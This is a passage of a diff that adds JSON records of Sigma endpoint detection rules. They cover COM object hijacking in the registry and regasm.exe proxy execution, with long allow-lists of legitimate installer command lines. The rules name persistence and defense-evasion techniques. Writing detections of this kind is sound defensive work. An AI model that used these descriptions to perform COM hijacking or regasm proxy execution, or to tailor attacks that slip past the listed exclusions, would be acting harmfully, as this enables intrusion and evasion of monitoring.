filter_applicationframe:\n        Details: '%systemroot%\\system32\\applicationframe.dll'\n\n    selection_propsys:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\\InprocServer32\\(Default)'\n    filter_propsys:\n        Details: '%systemroot%\\system32\\propsys.dll'\n\n    selection_actioncenter:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{F56F6FDD-AA9D-4618-A949-C1B91AF43B1A}\\InprocServer32\\(Default)'\n    filter_actioncenter:\n        Details: '%systemroot%\\system32\\actioncenter.dll'\n\n    selection_thumbcache:\n        TargetObject: 'HKCU\\SOFTWARE\\Classes\\CLSID\\{2155fee3-2419-4373-b102-6843707eb41f}\\InprocServer32\\(Default)'\n    filter_thumbcache:\n        Details: '%systemroot%\\system32\\thumbcache.dll'\n\n    selection_syncreg:\n        TargetObject: 'HKCU\\SOFTWARE\\Classes\\CLSID\\{f82b4ef1-93a9-4dde-8015-f7950a1a6e31}\\InprocServer32\\(Default)'\n    filter_syncreg:\n        Details: '%systemroot%\\system32\\syncreg.dll'\n\n    selection_repdrvfs:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{7998DC37-D3FE-487C-A60A-7701FCC70CC6}\\InprocServer32\\(Default)'\n    filter_repdrvfs:\n        Details: '?:\\Windows\\system32\\wbem\\repdrvfs.dll'\n\n    selection_psfactorybuffer:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Classes\\CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\\InprocServer32\\(Default)'\n            - 'HKLM\\SOFTWARE\\Classes\\CLSID\\{1293C733-3151-48F5-89DE-2457B4AB3FD2}\\InprocServer32\\(Default)'\n    filter_psfactorybuffer:\n        Details:\n            - '?:\\Windows\\System32\\npmproxy.dll'\n            - '?:\\Windows\\System32\\daxexec.dll'\n\n    selection_sharetaskscheduler:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\\InprocServer32\\(Default)'\n    filter_sharetaskscheduler:\n        Details: '?:\\Windows\\system32\\windows.storage.dll'\n\n    selection_sharingprivate:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{08244EE6-92F0-47F2-9FC9-929BAA2E7235}\\InprocServer32\\(Default)'\n    filter_sharingprivate:\n        Details: '?:\\Windows\\System32\\ntshrui.dll'\n\n    selection_eventsystem:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{4E14FBA2-2E22-11D1-9964-00C04FBBB345}\\InprocServer32\\(Default)'\n    filter_eventsystem:\n        Details: '?:\\Windows\\system32\\es.dll'\n\n    selection_msaa:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32\\(Default)'\n    filter_msaa:\n        Details: '?:\\Windows\\System32\\oleacc.dll'\n\n    selection_autoplay:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{9207D8C7-E7C8-412E-87F8-2E61171BD291}\\InprocServer32\\(Default)'\n    filter_autoplay:\n        Details: '?:\\Windows\\system32\\shell32.dll'\n\n    selection_notificationmanager:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{A3B3C46C-05D8-429B-BF66-87068B4CE563}\\InprocServer32\\(Default)'\n    filter_notificationmanager:\n        Details: '?:\\Windows\\System32\\actioncenter.dll'\n\n    selection_commonplaces:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{0997898B-0713-11D2-A4AA-00C04F8EEB3E}\\InprocServer32\\(Default)'\n    filter_commonplaces:\n        Details: '?:\\Windows\\System32\\windows.storage.dll'\n\n    selection_identitystore:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{30d49246-d217-465f-b00b-ac9ddd652eb7}\\InprocServer32\\(Default)'\n    filter_identitystore:\n        Details: '?:\\Windows\\System32\\IDStore.dll'\n\n    selection_unexpectedshutdownreason:\n        TargetObject|endswith: '\\CLSID\\{68DDBB56-9D1D-4FD9-89C5-C0DA2A625392}\\InProcServer32\\(Default)'\n    filter_unexpectedshutdownreason:\n        Details: '%SystemRoot%\\system32\\stobject.dll'\n\n    selection_printers:\n        TargetObject|endswith: '\\CLSID\\{2227A280-3AEA-1069-A2DE-08002B30309D}\\InProcServer32\\(Default)'\n    filter_printers:\n        Details: '%SystemRoot%\\system32\\prnfldr.dll'\n\n    condition: selection and (\n                   (selection_ehstorshell and not filter_ehstorshell) or\n                   (selection_wmiutils and not filter_wmiutils) or\n                   (selection_wmiprvsd and not filter_wmiprvsd) or\n                   (selection_wbemsvc and not filter_wbemsvc) or\n                   (selection_wbemprox and not filter_wbemprox) or\n                   (selection_applicationframe and not filter_applicationframe) or\n                   (selection_propsys and not filter_propsys) or\n                   (selection_actioncenter and not filter_actioncenter) or\n                   (selection_thumbcache and not filter_thumbcache) or\n                   (selection_syncreg and not filter_syncreg) or\n                   (selection_repdrvfs and not filter_repdrvfs) or\n                   (selection_psfactorybuffer and not filter_psfactorybuffer) or\n                   (selection_sharetaskscheduler and not filter_sharetaskscheduler) or\n                   (selection_sharingprivate and not filter_sharingprivate) or\n                   (selection_eventsystem and not filter_eventsystem) or\n                   (selection_msaa and not filter_msaa) or\n                   (selection_autoplay and not filter_autoplay) or\n                   (selection_notificationmanager and not filter_notificationmanager) or\n                   (selection_commonplaces and not filter_commonplaces) or\n                   (selection_identitystore and not filter_identitystore) or\n                   (selection_unexpectedshutdownreason and not filter_unexpectedshutdownreason) or\n                   (selection_printers and not filter_printers)\n               )\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "032b28af-b4ce-4476-a201-8b2896158878",
+  "rule_name": "Possible Component Object Model Hijacking",
+  "rule_description": "Detects the possible hijacking of a Component Object Model (COM) in the registry.\nAttackers can use this method to achieve persistence through an event trigger execution.\nThe DLL indicated in the hijacked registry key is then loaded when the corresponding COM is called by the system.\nIt is recommended to analyze the specified DLL for malicious content and the process making the registry modification for any other suspicious actions.\n",
+  "rule_creation_date": "2022-09-29",
+  "rule_modified_date": "2026-02-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.015",
+    "attack.t1559.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0363e1f9-7a85-414e-a37a-5ce7993e7db4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080770Z",
+  "creation_date": "2026-03-23T11:45:34.080773Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080777Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
+    "https://attack.mitre.org/techniques/T1218/009/"
+  ],
+  "name": "t1218_009_regasm_dll_load.yml",
+  "content": "title: Suspicious Proxy Execution via regasm.exe\nid: 0363e1f9-7a85-414e-a37a-5ce7993e7db4\ndescription: |\n    Detects the execution of the legitimate Windows binary RegAsm.exe, used to register .NET COM assemblies.\n    This may be used by attackers to load their .DLL files. By default, RegAsm calls the DLL's exported \"[Un]RegisterClass\" function.\n    AWL (Application Whitelist) is a list of applications and application components that are authorized for use in an organization.\n    Application whitelisting technologies use whitelists to control which applications are permitted to execute on a host.\n    This can also be used by program installers in Windows.\n    It is recommended to analyze the parent process as well as actions taken by RegAsm.exe to determine the legitimacy of this action.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Regasm/\n    - https://attack.mitre.org/techniques/T1218/009/\ndate: 2023/01/04\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.009\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Regasm\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\regasm.exe'\n        OriginalFileName: 'regasm.exe'\n\n    filter_directory:\n        CommandLine|contains:\n            - ' ?:\\Program Files\\'\n            - ' ?:\\Program Files (x86)\\'\n            - ' ?:\\PROGRA~2\\'\n            - ' ?:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\'\n            - ' ?:\\Windows\\Microsoft.Net\\assembly\\GAC_32\\'\n\n    exclusion_pdf_creator:\n        ParentCommandLine|contains: 'PDFCreator-*_*_*-setup.tmp'\n\n    exclusion_installers:\n        ParentImage|endswith: '\\MsiExec.exe'\n        ParentCommandLine|contains:\n            - '-Embedding'\n            - '/V'\n            - '-V'\n        CommandLine|contains:\n            # SOLIDWORKS 3D Modelling\n            - '?:\\ProgramData\\SOLIDWORKS\\SOLIDWORKS CAM\\MATLIBx64\\ '\n            # Microsoft CCM\n            - 'Microsoft.ConfigurationManagement.SensorFramework.dll'\n            - 'Microsoft.ConfigurationManager.SensorManagedProvider.dll'\n            # Altova Script Editor\n            - 'AltovaScriptFormEditorHost*.dll'\n            # Oskab 3D\n            - 'Oskab3D.SDB.dll'\n            # MicroStrategy Office Plugin\n            - '/tlb:moimain.tlb moimain.dll'\n            - 'regasm.exe /nologo /tlb ?:\\WINDOWS\\\\Microsoft.NET\\assembly\\gac_MSIL\\Tekla.Structures.Model\\\\*\\Tekla.Structures.Model.dll'\n            - 'regasm.exe /nologo /tlb ?:\\WINDOWS\\\\Microsoft.NET\\assembly\\gac_MSIL\\tekla.structures\\\\*\\tekla.structures.dll'\n            - '?:\\programdata\\service advisor\\cal\\connectivity applications\\support\\regasm.exe*'\n            - '?:\\program files\\bruker\\nanoscopeanalysis\\regasm.exe /s nanoscopeanalysis.exe /tlb:hostapplication.tlb'\n            - '?:\\program files (x86)\\bl\\bl\\\\*\\\\*\\regasm.exe*'\n            - '*\\siga.softwareactivation\\dev\\siga.softwareactivation.application\\siga.softwareactivation.comwrapperspw\\bin\\release\\regasm.exe *\\siga.softwareactivation\\dev\\siga.softwareactivation.application\\siga.softwareactivation.comwrapperspw\\bin\\release\\siga.softwareactivation.comwrapperspw.???'\n            - '*\\regasm.exe /codebase *\\smsappl\\assemblies\\observationmetier.dll'\n            - '?:\\users\\\\*\\temp\\is-*.tmp\\regasm.exe /s /* /tlb ?:\\users\\\\*\\temp\\is-*.tmp\\innosetuptools.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\intunecontentmanager\\microsoft.configurationmanager.intunecontentmanager.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\microsoft.configurationmanager.azuremanagement.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\microsoft.configurationmanager.cloudbase.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\wsusmsp.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe /codebase bullzip.pdfwriter*'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe /codebase contextmenuhandler64.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe /codebase ie11cloudmetering.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe /codebase pdf7.pdfwriter*'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe ?:\\windows\\system32\\dolbyaposvc\\dax3apidll.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\commvault\\contentstore\\base*'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe datev.crystalreports.x64bridge.dll /tlb /nologo'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\microsoft.configurationmanager.*'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\microsoft.configurationmanagement.*'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\bin\\x64\\wsusmsp.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\bin\\x64\\wsyncact.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\sms_srsrp\\srsserver.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\sms_srsrp\\srsserver.dll /unregister'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\commvault\\base\\\\*'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe edisys.iulm.*.dll*'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\esprit.agievision_pages.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\esprit.charmillestechnologymanager.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\esprit.optionsconfiguration.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\esprit.threaddatabase.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe *\\esprit.threadlayer.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe /register /s cgm.axilibraries.interop.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe */silent* *\\programs\\sap businessobjects\\epm add-in\\epmofficeactivex.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe stellarexcel.dll /tlb:com.stellarexcel.tlb /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe /tlb /codebase robotconnectionaddin.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe tsprintdvc64.dll /unregister'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe tsscandvc64.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe tsscandvc64.dll /unregister'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe /u contextmenuhandler64.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\regasm.exe /u ?:/program files/common files/wondershare/pdfelement??/preview/*/pepreview?.dll'\n            - '?:\\windows\\microsoft.net\\framework64\\\\*\\\\regasm.exe /unregister ?:/program files/atempo/tina/bin/libtina_comps_clr4.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\becpwin\\gfxgateway*.dll /regfile:*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\coalaclient\\gatewaycs.dll /tlb:*\\coalaclient\\gatewaycs.tlb'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\revao\\exe\\eic.global.interop.dll*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\masslynx\\acquitywrapper.dll /silent /unregister'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /codebase seedkey*.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe ?:\\windows\\system32\\farpoint.spread8.excel2007.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm /* *\\opentrust\\fncopentrust.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm /* *\\dll\\allegoria\\classfncallegoria.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm /* *\\dll\\converttopdf\\fiducial.notaire.compta.rao.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm /* *\\dll\\fiducialwrappermailboxplanete\\fiducial.wrappermailboxplanetecompta.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm /* *\\dll\\fnc_scan\\fnc_scan.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm /* *\\ifiducial_fnc.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm /* *\\wrapper_clotureaffaire.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm *\\ceniber\\autonet\\\\*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\diamic\\bin\\\\*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe cls_cashdrawer.dll /tlb:cls_cashdrawer.tlb /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe cls_cfd.dll /tlb:cls_cfd.tlb /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe cls_depileuraures.dll /tlb:cls_depileuraures.tlb /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe cls_print.dll /tlb:cls_print.tlb /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /codebase /silent *\\dedalus\\meds\\soins\\v7\\\\*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /codebase /tlb fiducial.rao.wordaddin.interop.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\batigestconnect\\\\*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\sage-paie\\declarations sociales\\client\\\\*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe ?:\\windows\\syswow64\\b1crufl.dll /register /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe ?:\\windows\\syswow64\\sagelcp.dll /s /nolog /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\winnot.200\\assemblies\\fiducial.winnotaires.*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\winnot.200\\assemblies\\lexisnexis.winnotaires.*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\coloris\\activex\\interfacecoffrefort\\cosolucecoffrefortclient.dll*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe ecs2000.*.dll*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe *\\paie\\sagepaie\\\\*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /nologo *\\salarior\\bus_bl\\pes\\bl.sante.interop.iparapheur.*.dll*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /nologo /verbose *?:\\windows\\syswow64\\dcsmmclib.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /nologo /verbose *?:\\windows\\syswow64\\dcstraceconsole.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /silent ?:\\windows\\syswow64\\annoterpdf2.dll tlb ?:\\windows\\syswow64\\annoterpdf2.tlb /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /silent impac.mosaiq.charting.documents.mergefields.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe stange.*.dll*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\\\regasm.exe stinterfaces.dll /codebase /tlb:?:\\program files (x86)\\philips\\\\*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /tlb /codebase *\\pacom.gms.extendedconfiguration.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /tlb /codebase *\\indraworks ds\\indraworks.drive.drivetextserver.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /tlb /codebase *\\indraworks ds\\indraworks.utilities.dll'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm.exe /u *\\kansysedge\\rmp\\bin\\\\*'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm fiducial.transim.comstarter.dll /codebase /tlb'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm interop.msutil.dll /codebase'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm interop.msutil.dll /unregister'\n            - '?:\\windows\\microsoft.net\\framework\\\\*\\regasm jdsu.fit.fiberchek.automation.dll /codebase'\n            - '?:\\WINDOWS\\Microsoft.NET\\Framework*\\\\*\\regasm.exe /silent /codebase ?:\\ProgramData\\SOLIDWORKS\\\\*'\n\n    exclusion_legitimate_grandparent:\n        ProcessGrandparentCommandLine:\n            # Ignore shares as they may often host legitimate installers\n            - '\\\\\\\\*\\\\*'\n            # SCCM\n            - '?:\\Windows\\ccmcache\\\\*'\n            # Legitimate apps\n            - '?:\\Becpwin\\\\*'\n            - '*\\Cosoluce\\bigjim\\Supernova.Client.BigJim.Service.exe'\n            - '?:\\Windows\\Temp\\MW-????????-????-????-????-????????????\\setup_QBloc_*.exe'\n            - '?:\\ProgramData\\Edisys\\SPIGAO\\iulm\\SPIGAOConnect_Setup-PROD.exe'\n\n    exclusion_innosetuptools:\n        CommandLine:\n            - '*\\RegAsm.exe /s /codebase /tlb ?:\\Users\\\\*\\AppData\\Local\\Temp\\is-?????.tmp\\InnoSetupTools.dll'\n            - '*\\RegAsm.exe /s /codebase /tlb ?:\\WINDOWS\\TEMP\\is-?????.tmp\\InnoSetupTools.dll'\n            - '*\\RegAsm.exe /s /u ?:\\Users\\\\*\\AppData\\Local\\Temp\\is-?????.tmp\\InnoSetupTools.dll'\n            - '*\\RegAsm.exe /s /u ?:\\WINDOWS\\TEMP\\is-?????.tmp\\InnoSetupTools.dll'\n\n    exclusion_lenovo:\n        CommandLine:\n            - '*\\RegAsm.exe /silent*?:\\ProgramData\\Lenovo\\ImController\\Plugins\\LenovoBatteryGaugePackage\\\\*\\PluginsContract.dll'\n            - '*\\RegAsm.exe /silent*?:\\ProgramData\\Lenovo\\Vantage\\Addins\\LenovoBatteryGaugeAddin\\\\*\\PluginsContract.dll'\n\n    exclusion_archimed_docmaker:\n        ParentImage|endswith: '\\ArchimedDocMakerRegister.exe'\n        CommandLine|contains: 'Achimed.DocMaker*.dll'\n\n    exclusion_solu_qiq:\n        ParentImage|endswith: '\\SOLU-QIQ Base *.*.*.exe'\n        CommandLine|contains:\n            - 'Convertisseur.dll'\n            - 'ADAuthentication.dll'\n\n    exclusion_wrapper_webview:\n        ParentImage|endswith: 'WrapperWebView2.exe'\n        ParentCommandLine|contains: '/ACTION=INSTALL'\n        CommandLine|contains:\n            - 'Microsoft.Web.WebView2.WinForms.tlb'\n            - 'Microsoft.Web.WebView2.Core.tlb'\n\n    exclusion_bat_emc:\n        ParentImage|endswith: 'Setup_BAT-EMC_*.*.*.*.exe'\n        CommandLine|contains:\n            - 'VisuMonitoring.dll'\n            - 'BatEmcBridge.dll'\n            - 'SpectrogramActiveX.dll'\n\n    exclusion_ivanti:\n        ParentImage|endswith: '\\Ivanti20??-*\\Setup.exe'\n        CommandLine|contains: 'Interop.ComUtilitiesLib.dll'\n\n    exclusion_inot_office:\n        ParentImage|endswith:\n            - '\\GenApi.iNot.RegisterCOMComponants.exe'\n            - '\\GenApi.CTI.Launcher.exe'\n        CommandLine|contains:\n            - '\\GenApi.iNot.Client.FramePlayer.DLL'\n            - '\\GenApi.CTI.Data.iNot.dll'\n\n    exclusion_fiducial:\n        GrandparentImage|endswith:\n            - '\\majfuposte.exe'\n            - 'fncgf_evaluationprivilege.exe'\n        ParentCommandLine|contains: '\\AppData\\Roaming\\fiducial\\compta\\'\n\n    exclusion_water_ics:\n        GrandparentImage|endswith: 'Waters\\ICS\\Companion\\ICSCompanionSvc.exe'\n        ParentImage|endswith: 'Waters\\ICS\\Companion\\SetupHelper.exe'\n        CommandLine|endswith: 'Waters.*.*.dll'\n\n    exclusion_dolby:\n        GrandparentImage|endswith: '\\DAX3API.EXE'\n        ParentCommandLine|endswith: '\\DAX3APIDLL.dll'\n\n    exclusion_mosaiq:\n        GrandparentImage|endswith: '\\SetupMosaiq.tmp'\n        ParentImage|endswith: '\\RegisterAssemblies.exe'\n\n    exclusion_sage1:\n        - GrandparentImage|endswith:\n            - '\\Sagedirect.exe'\n            - '\\SageDS_*_*_*.exe'\n        - ParentCommandLine|contains:\n            - '\\SageDS\\Client\\InstallShieldEnregistrementCOM.bat'\n            - 'Sagedirect*.exe'\n    exclusion_sage2:\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'SAGE SAS'\n\n    exclusion_common_dlls:\n        CommandLine|contains:\n            - 'GenApi.iNot.*.*.dll'\n            - 'GdPicture.NET.*.dll'\n\n    exclusion_sap_se:\n        ParentImage|endswith: '\\NwSapSetup.exe'\n        CommandLine|contains:\n          - 'sapnco.dll'\n          - 'rscp4n.dll'\n\n    exclusion_atempo:\n        ParentImage: '?:\\Program Files\\Atempo\\TimeNavigator\\\\*\\Bin\\tina_*.exe'\n\n    exclusion_philips:\n        ParentImage:\n            - '?:\\Program Files\\Philips\\CIS\\Bin\\Philips.CIS.MachineSetup.exe'\n            - '?:\\Program Files (x86)\\Philips\\CIS\\Bin\\Philips.CIS.MachineSetup.exe'\n\n    exclusion_sap:\n        ParentImage|endswith: '\\setup\\NwSapSetup.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'SAP SE'\n\n    exclusion_configuration_manager:\n        ParentImage|endswith:\n            - '\\srvboot.exe'\n            - '\\cmupdate.exe'\n            - '\\rolesetup.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Corporation'\n\n    exclusion_kansysedge:\n        ParentCommandLine: '?:\\windows\\system32\\cmd.exe /c *\\kansysedge\\installscripts\\utilities\\reregisterassemblies.bat'\n\n    exclusion_genapi:\n        ParentCommandLine: '?:\\windows\\system32\\cmd.exe /c *\\genapi\\gupta\\i-not\\regasm_dlls.cmd'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0363e1f9-7a85-414e-a37a-5ce7993e7db4",
+  "rule_name": "Suspicious Proxy Execution via regasm.exe",
+  "rule_description": "Detects the execution of the legitimate Windows binary RegAsm.exe, used to register .NET COM assemblies.\nThis may be used by attackers to load their .DLL files. By default, RegAsm calls the DLL's exported \"[Un]RegisterClass\" function.\nAWL (Application Whitelist) is a list of applications and application components that are authorized for use in an organization.\nApplication whitelisting technologies use whitelists to control which applications are permitted to execute on a host.\nThis can also be used by program installers in Windows.\nIt is recommended to analyze the parent process as well as actions taken by RegAsm.exe to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2023-01-04",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.009"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "03983a13-d23e-4494-b3c5-9b24bf51acfc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622015Z",
+  "creation_date": "2026-03-23T11:45:34.622017Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622021Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_disable_filteradministratortoken.yml",
